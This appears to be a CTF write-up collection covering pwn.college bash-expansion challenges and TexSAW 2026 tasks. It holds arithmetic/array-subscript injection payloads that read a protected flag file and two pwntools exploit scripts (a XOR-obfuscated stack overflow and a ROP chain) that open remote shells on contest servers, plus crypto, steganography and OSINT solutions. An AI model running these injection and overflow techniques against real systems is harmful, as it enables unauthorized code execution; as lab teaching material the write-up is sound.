在 Bash 中,RANDOM 并不是真正的随机,它是一个 PRNG (伪随机数生成器)。如果你尝试给 RANDOM 赋值,你实际上是在设置它的随机数种子 (Seed)!只要种子固定,接下来生成的随机数序列就是 100% 确定的。而且,不同的 Bash 版本(比如 Bash 4.x 和 5.x)用同一个种子生成的第一个随机数可能会不同,这就是为什么提示让你在 /bin/bash 里做准备。

在 Bash 的算术求值 (( … )) 中,我们可以使用逗号表达式 (Comma Operator)。逗号表达式会按顺序执行各个部分,并以最后一个表达式的结果作为最终的真假值。

1
2
3
ubuntu@expansion~the-swap-scheming:~$ /challenge/run "RANDOM=0, $(bash -c 'RANDOM=0; echo $RANDOM')"
Success!
pwn.college{****************************************}

Shell Sorcery

arithmetic evaluation

recursive variable evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~shell-sorcery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
readonly CHALLENGE
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi

Bash 准备计算等式左边。它读取 $RESPONSE,得到了字符串 “CHALLENGE”。

Bash 再次去内存里寻找名为 CHALLENGE 的变量的值

1
2
3
ubuntu@expansion~shell-sorcery:~$ /challenge/run "CHALLENGE"
Success!
pwn.college{****************************************}

The Commanded Condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-commanded-condition:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Alright, go for it.
#set -T
#readonly BASH_SUBSHELL
#trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-commanded-condition:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

The Dreadful Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-dreadful-discovery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Can you see what HAL50000 saw?
set -T
#readonly BASH_SUBSHELL
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-dreadful-discovery:~$ /challenge/run 'BASH_SUBSHELL=0, x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Index of Insanity

Array Subscript Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~index-of-insanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

PROPAGANDA=(
"bash is good"
"bash is great"
"bash is wonderful"
)

INDEX="$1"
echo "Your chosen bash affirmation is: ${PROPAGANDA[$INDEX]}"
1
2
ubuntu@expansion~index-of-insanity:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 12: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

This Pwn challenge is a classic buffer overflow with a twist: the input is obfuscated via a time-based XOR operation before being copied to the stack.

Challenge Description

I think one of the hands of my watch broke. Can you tell me what the time is?

nc chals.texsaw.org 3000

Flag format: texsaw{flag}

Solution

1. Binary Analysis

Using checksec, we identify the binary’s protections:

  • Arch: i386-32-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled (cannot execute shellcode on the stack)
  • PIE: PIE disabled (fixed addresses for code/data)

Since PIE is disabled and there is no stack canary, the primary goal is a Return-to-PLT attack to call system("/bin/sh").

2. Identifying Vulnerabilities

Disassembling the binary reveals two critical functions: main and read_user_input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
time_t timer; // [esp+0h] [ebp-10h] BYREF
time_t key; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
// 向下取整
key = 60 * (time(0) / 60);
timer = key;
puts("I think one of my watch hands fell off!");
v3 = ctime(&timer);
printf("Currently the time is: %s", v3);
read_user_input(key);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t __cdecl read_user_input(int key)
{
_BYTE dest[40]; // [esp+18h] [ebp-40h] BYREF
size_t n; // [esp+40h] [ebp-18h]
void *buf; // [esp+44h] [ebp-14h]
int j; // [esp+48h] [ebp-10h]
signed int i; // [esp+4Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
// heap
buf = malloc(0xA0u);
n = read(0, buf, 0xA0u);
// twist
// 4 bytes at a time
for ( i = 0; i < (int)n; i += 4 )
{
// xor each 4 bytes
for ( j = 0; j <= 3; ++j )
// 这行代码的左边:*((_BYTE *)buf + ...)
// 那个 _BYTE(通常是 unsigned char 的 typedef)明确告诉了 C 编译器只操作这 1 个 byte (8 bits) 的内存空间。
// 当你试图把一个 32-bit 的庞大数据 (0x11223344),通过异或运算 (^=) 强行塞进一个只有 8-bit 容量的单字节内存空间时,C 语言会只保留最底部的 8 bits。
// 也就是说,编译器在底层自动帮你做了一个类似掩码 & 0xFF 的操作。0x11223344 经过单字节截断后,高位的 0x112233 直接被丢弃,只剩下了 0x44。而这个 0x44,恰恰就是 a1 的最低有效字节 (LSB)。
*((_BYTE *)buf + i + j) ^= key >> (8 * j);
// update key
++key;
}
// stack
memcpy(dest, buf, n);
return write(1, dest, 0x28u);
}
  • Key Generation: In main, the program takes the current Unix timestamp and rounds it down to the nearest minute: time_val = (time(0) / 60) * 60. This value is then passed into read_user_input.

  • The XOR Loop: Inside read_user_input, the program reads up to 160 bytes into a heap buffer. It then iterates through the input, XORing every 4-byte chunk with the time_val. Crucially, the time_val increments by 1 after every 4 bytes.

  • Buffer Overflow: After XORing, the program uses memcpy to copy the processed buffer into a local stack buffer (ebp-0x40). Since the stack buffer is only 64 bytes but memcpy copies up to 160 bytes, we have a stack-based buffer overflow.

3. Exploitation Strategy

Step 1: Leaking the Key The program XORs our input and then calls write to send 40 bytes of the stack buffer back to us. To bypass the XOR obfuscation, we first send a string of null bytes (\x00). Because x ^ 0 = x, the server returns the XOR key itself. This allows us to recover the exact time_val used by the server.

Step 2: Crafting the Payload We need to overwrite the return address at ebp + 4. The distance from the buffer start (ebp - 0x40) to the return address is 68 bytes.

Our desired stack layout after memcpy should be: [68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]

Step 3: Pre-XORing Because the program will XOR our input before it hits the stack, we must “pre-XOR” our payload. If the program expects Payload ^ Key = Stack, we must send Payload ^ Key so that when the server XORs it with Key, the result on the stack is our desired Payload.

4. Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

target = remote('chals.texsaw.org', 3000)

# 1. Leak the time-based XOR key
target.recvuntil(b'Currently the time is: ')
target.send(b'\x00' * 100)
output = target.recv(40)
leaked_time_val = u32(output[0:4])

# 2. Re-connect to apply the key (or use it if time hasn't changed)
target.close()
target = remote('chals.texsaw.org', 3000)

# Binary addresses (PIE disabled)
system_plt = 0x080490b0
bin_sh_addr = 0x0804a018

# Function to XOR payload according to binary logic
def xor_payload(data, key_val):
res = bytearray()
for i in range(0, len(data), 4):
chunk = data[i:i+4]
# Calculate the key for this 4-byte chunk
key = p32((key_val + (i // 4)) & 0xFFFFFFFF)
for j in range(len(chunk)):
res.append(chunk[j] ^ key[j])
return bytes(res)

# 3. Build and send the Pre-XORed payload
# 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh"
# 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。
payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr)
target.send(xor_payload(payload, leaked_time_val))

# 4. Get the shell
target.interactive()

Flag

texsaw{7h4nk_u_f0r_y0ur_71m3}

Do you ever wonder what happens to your packages? So does your mail carrier.

nc 143.198.163.4 15858

Flag format: texsaw{example_flag}

Solution

1. Initial Analysis

We start by analyzing the binary’s protections:

1
$ checksec chall
  • No Stack Canary: This means we can easily overwrite the return address on the stack.
  • NX Disabled: The stack is executable, but we don’t necessarily need shellcode for this exploit.
  • PIE Disabled: Function addresses are static and will not change between runs.

2. Identifying Vulnerabilities

Using objdump and nm, we identify several interesting functions:

  • main: The entry point.
  • deliver: Called by main; uses the unsafe gets() function to read input into a 32-byte buffer.
  • drive: A hidden function that checks an argument and, if correct, calls system("/bin/sh").
  • tool: Contains a useful ROP gadget: pop rdi; ret.

The vulnerable deliver function looks like this:

1
2
3
4
5
6
int deliver() {
char s1[32]; // [rsp+0h] [rbp-20h] BYREF
// ...
gets(s1); // VULNERABILITY: No length check!
// ...
}

Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.

3. Exploitation Strategy

The drive() function is our target:

1
2
3
4
5
int __fastcall drive(__int64 a1) {
if (a1 != 0x48435344) // "HCSD"
return puts("Need the secret key to deliver this package.\n");
return system("/bin/sh");
}

To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.

Our ROP Chain Plan:

  1. Overwrite the return address with the address of a pop rdi; ret gadget.
  2. Provide the value 0x48435344 as the next item on the stack (to be popped into RDI).
  3. Include a ret gadget for stack alignment (often necessary for system() calls in 64-bit glibc).
  4. Finally, call the drive function.

4. Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.binary = binary = ELF('./chall')

# Found addresses
pop_rdi_ret = 0x4011be
ret_gadget = 0x4011bf
drive_addr = 0x401211
secret_arg = 0x48435344

# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytes
payload = b"A" * 40
payload += p64(ret_gadget) # Stack alignment
payload += p64(pop_rdi_ret) # Gadget to set RDI
payload += p64(secret_arg) # The argument "HCSD"
payload += p64(drive_addr) # Call drive()

# Connect and exploit
p = remote('143.198.163.4', 15858)
p.recvuntil(b"2 Canary Court\n\n")
p.sendline(payload)
p.interactive()

Flag

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

There’s a spy amongst us! We found one of their messages, but can’t seem to crack it. For some reason, they wrote the message down twice.

The challenge provides two large blocks of ciphertext, both starting with what appears to be an encrypted flag.

Solution

1. Identifying the Cipher

We are given two different ciphertexts that supposedly represent the same message. This immediately suggests a polyalphabetic substitution cipher, most likely Vigenere, where different parts of the key are being applied to the same plaintext.

2. Deducing the Key Prefix

We know that the flags in this CTF follow the format texsaw{...}. By comparing the ciphertext prefixes with the known plaintext texsaw, we can calculate the key characters used at the start of each block (Key = Ciphertext − Plaintext).

Block 1 Prefix (twhsnz):

  • t - t = A (0)
  • w - e = S (18)
  • h - x = K (10)
  • s - s = A (0)
  • n - a = N (13)
  • z - w = D (3)
  • Key Prefix: ASKAND

Block 2 Prefix (brassg):

  • b - t = I (8)
  • r - e = N (13)
  • a - x = D (3)
  • s - s = A (0)
  • s - a = S (18)
  • g - w = K (10)
  • Key Prefix: INDASK

3. Recovering the Full Key

The fragments ASKAND and INDASK strongly suggest a famous quote from the Bible (Matthew 7:7):

Ask, and it shall be given you; seek, and ye shall find: ask, and…”

By removing spaces and punctuation, we derive the full 41-character repeating key: ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND

4. Decrypting the Message

Using the recovered key, we can decrypt the rest of the message. The first message block uses an offset of 0, while the second block starts at a different position in the key loop.

Decryption reveals a message from a spy:

“they know im here, and its only a matter of time before they find out who i am. tell the general what the flag is as soon as possible…”

The signature at the bottom, - john cairncross, refers to the real-life British intelligence officer who was a double agent for the Soviet Union during World War II.

5. Extracting the Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def vigenere_decrypt(ct, key, offset=0):
res = ""
k_idx = offset
key = key.lower()
for char in ct:
if "a" <= char <= "z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("a") - shift) % 26 + ord("a"))
k_idx += 1
elif "A" <= char <= "Z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
k_idx += 1
else:
res += char
# k_idx is NOT incremented for non-alpha
return res


key = "askanditshallbegivenyouseekandyeshallfind"

ct1 = "twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}"
ct2 = "brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}"

# just loop and try offset
print("CT1:", vigenere_decrypt(ct1, key, 0))

print("CT2:", vigenere_decrypt(ct2, key, 38))

msg1 = """zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx
"""

print("\nMessage 1:")
print(vigenere_decrypt(msg1, key, 15))

Flag

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

I can’t find my original house key anywhere! Can you help me find it? Here’s a picture of my keys the nanny took before they were lost. It must be hidden somewhere!

Flag format: texsaw{flag_here}

Solution

1. Extracting Hidden Files

Using binwalk, we can identify and extract any embedded files:

1
❯ binwalk -e Temoc_keyring.png

After extraction, we have two similar images:

  1. Temoc_keyring(orig).png
  2. where_are_my_keys.png

Checking them with pngcheck confirms they are both valid, but their file sizes and compression ratios differ.

2. Pixel Comparison

At first glance, the two images appear identical. However, the difference in file size suggests that data might be hidden in the pixel values themselves. We can use a Python script with the Pillow library to compare them:

1
2
3
4
5
6
7
8
9
10
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

width, _ = img1.size

# Check the first row for differences
diff_indices = [x for x in range(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))]
print(f"Differences found at X coordinates: {diff_indices}")

Running this reveals exactly 131 differing pixels, all located within the very first row (y = 0).

4. Decoding the Steganography

The pattern of differing pixels suggests a binary encoding. We can treat each pixel in the first row as a bit:

  • Bit 1: If the pixels at (x, 0) are different.
  • Bit 0: If the pixels at (x, 0) are identical.

We then group these bits into 8-bit bytes and convert them to ASCII characters to reveal the flag.

Extraction Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

bits = []
for x in range(img1.size[0]):
if img1.getpixel((x, 0)) != img2.getpixel((x, 0)):
bits.append(1)
else:
bits.append(0)

# Convert bits to bytes and then to ASCII
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
char_code = int("".join(map(str, byte)), 2)
if char_code == 0: break
flag += chr(char_code)

print(f"Flag: {flag}")

Flag

texsaw{you_found_me_at_key}

This chall’s got a bit of history to it.

First, crack this initial cryptogram. Now, apply OSINT tools to find who authors that original script.

Flag format: txsaw{first_last} (e.g., txsaw{john_scalzi})

Solution

1. Cryptanalysis: Substitution Cipher

The challenge begins with a large block of ciphertext:

1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...

Using frequency analysis or an automated tool like quipqiup, we can determine that this is a simple substitution cipher. The decoded plaintext is:

Noon rings out. A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits up blinking and purblind. Oh what was that word (is his thought) that ran through my brain all night, that idiotic word that, hard as I’d try to pun it down, was always just an inch or two out of my grasp…

2. OSINT: Identifying the Source

The title of the challenge, “Idiosyncratic French”, and the nature of the decoded text provide vital clues.

Searching for the decoded string—specifically unique phrases like “A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin”—reveals that this is an excerpt from the novel “A Void”.

3. The “Idiosyncrasy”: Lipograms

What makes this text “idiosyncratic”? “A Void” is the English translation of the French novel “La Disparition”. The defining characteristic (idiosyncrasy) of both the original and the translation is that they are lipograms: they are written entirely without the letter “e”.

4. Finding the Author

The author of the original French novel, La Disparition, is the famous French writer Georges Perec.

Flag

txsaw{georges_perec}

D’oh, I overslept and missed most of the race! But wait, my friend took a picture while I was out, but I can’t tell who’s in the lead. Can you help me figure out the two cars that are in the lead? Usually they like to twin around this time of night…

Flag format: texsaw{num1_num2} (e.g., texsaw{21_44})

Analysis

1. Image Metadata (EXIF)

Analyzing the provided image (or the metadata extracted from it) reveals several critical data points:

Attribute Value Analysis
Camera Model Samsung Galaxy S24 Ultra High-end mobile sensor, likely captured with 3x optical zoom.
Date/Time 2026:01:24 22:14:12 Captured during the night of January 24th, 2026.
GPS Latitude 29° 11’ 4.79” N Geolocation leads to Florida, USA.
GPS Longitude 81° 4’ 28.43” W Specifically, the Daytona International Speedway.
Exposure 1/30s, f/2.4, ISO 320 Nighttime setting with motion blur, typical of racetrack photography.

2. Event Identification

Plugging the coordinates and the date into a search engine confirms the event: The 2026 Rolex 24 at Daytona.

This is a premier 24-hour endurance race held annually in late January at the Daytona International Speedway. The timestamp (10:14 PM EST on Saturday) puts the photograph roughly 8-9 hours into the 24-hour race.

3. The “Twinning” Clue

The challenge description mentions: “Usually they like to twin around this time of night…”

In the context of the IMSA WeatherTech SportsCar Championship (which runs the Rolex 24), “twinning” refers to teammate cars running in close formation. During the 2026 season, the Porsche Penske Motorsport team, running the Porsche 963 in the GTP class, was famous for their identical “mirror” liveries and consistent pace that often saw them running 1-2 on the track.

The two Porsche Penske cars are:

  • Car #6
  • Car #7

4. Verification

Looking at the race leaders during the night shift of the 2026 Rolex 24, the #6 and #7 Porsche 963s were indeed dominant. To distinguish them at night, teams use colored LED “Lumirank” displays:

  • Car #7: Blue LED
  • Car #6: Red LED

The “twinning” behavior is a signature of the Penske Porsches as they manage the gap and maintain the lead together.

Flag

just try 6 first or 7 first

texsaw{6_7}

Check out our IRC server and run the command /motd!

Server: irc.texsaw.org

Solution

To solve this challenge, we need to connect to the texSAW IRC server and view the “Message of the Day” (MOTD), which is a common place for CTF organizers to hide initial information or rules.

1. Install an IRC Client

1
2
3
4
# I use Arch BTW
paru -S weechat
# or
paru -S irssi

2. Connect to the Server

Launch your client and add the TexSAW server to your configuration. This makes it easier to reconnect later.

1
2
3
# Example using irssi
/server add texsaw irc.texsaw.org
/connect texsaw

3. Find the Flag

Once you’ve successfully connected, the server will usually send the MOTD automatically. If you miss it, manually request it with the following command:

1
2
/motd
# texsaw{w31c0M3_t0_t3xSAW_2O26!}

Useful IRC Commands

While you’re on the server, you might want to join the discussion or interact with other participants:

  • /nick [new_nick]: Change your current nickname.

or

1
2
/set irc.server_default.nicks comma,separated,list,of,nicks
/set irc.server.[SERVER_NAME].nicks "
  • /list: List all available channels on the server.
  • /join #general: Join the official general discussion channel.
  • /whois [nick]: View information about a specific user.
  • /msg [nick] [message]: Send a private message (useful for contacting admins).
  • /part #[channel]: Leave a specific channel.
  • /quit: Disconnect from the server and close your session.

Flag

texsaw{w31c0M3_t0_t3xSAW_2O26!}